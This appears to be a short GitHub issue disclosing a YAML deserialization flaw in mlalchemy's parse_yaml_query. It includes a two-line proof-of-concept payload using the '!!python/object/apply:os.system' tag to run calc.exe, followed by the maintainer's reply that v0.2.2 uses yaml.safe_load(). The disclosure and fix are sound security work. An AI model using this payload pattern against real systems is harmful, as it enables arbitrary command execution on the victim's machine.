parse_yaml_query method is vulnerable

[Joel-MalwareBenchmark]

from mlalchemy import parse_yaml_query
parse_yaml_query('!!python/object/apply:os.system ["calc.exe"]')

Hi, there is a vulnerability in parse_yaml_query method in parser.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

[thanethomson]

Thanks for reporting! Just released v0.2.2, now using yaml.safe_load() to load YAML content.